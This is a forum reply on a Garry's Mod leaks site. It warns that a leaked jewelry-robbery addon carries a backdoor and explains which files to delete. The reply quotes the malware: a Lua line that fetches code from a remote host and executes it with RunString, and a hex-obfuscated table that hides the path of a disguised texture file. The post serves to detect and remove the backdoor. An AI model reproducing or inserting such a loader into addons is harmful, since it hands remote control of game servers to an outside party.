Garry's Mod Leaks

[LEAK] Jewelry Robbery

Submitted by Deleted_351407, , Thread ID: 218068

Thread Closed

RE: [LEAK] Jewelry Robbery

#5
19-12-2021, 08:20 PM
VladOperYT Wrote:
really? whyyyyyyyyyy

Inside the addon there is a very typical backdoor here, I will explain how to find it, first you have to go to the materials folder inside the addon and if you find another folder called npc, you better start to worry, finally if you find a file called help.vtf and it weighs around 120 or 150 bytes, it means it is a backdoor

this file is the one that you should be careful and delete it:
Code:
jewelry_robbery_system\materials\npc\help.vtf

here you can find an example:
https://i.imgur.com/W2noXaC.png

inside the file is the following:
Code:
timer.Simple(1, function() http.Fetch("https://kvac.cz/f.php?key=XbfWIIQlrpssTR1UzGiZ", function(b) RunString(b, ":", false) end)end)

the other thing you have to do is look for the following file:
Code:
jewelry_robbery_system\lua\autorun\server\npc_help.lua

within that file is the following section:

Code:
local UNORDERED_LIST =
{
"\x6d","\x61","\x74",
"\x65","\x72","\x69",
"\x61","\x6c","\x73",
"\x2f","\x6e","\x70",
"\x63","\x2f","\x68",
"\x65","\x6c","\x70",
"\x2e","\x76","\x74",
"\x66"
}

that translated into characters says:
Code:
materials/npc/help.vtf

This is one of the reasons why this addon has a backdoor, what you have to do is delete the following files so that it acts as a normal addon:

Code:
jewelry_robbery_system\lua\autorun\server\npc_help.lua
jewelry_robbery_system\materials\npc\help.vtf

Users browsing this thread: 4 Guest(s)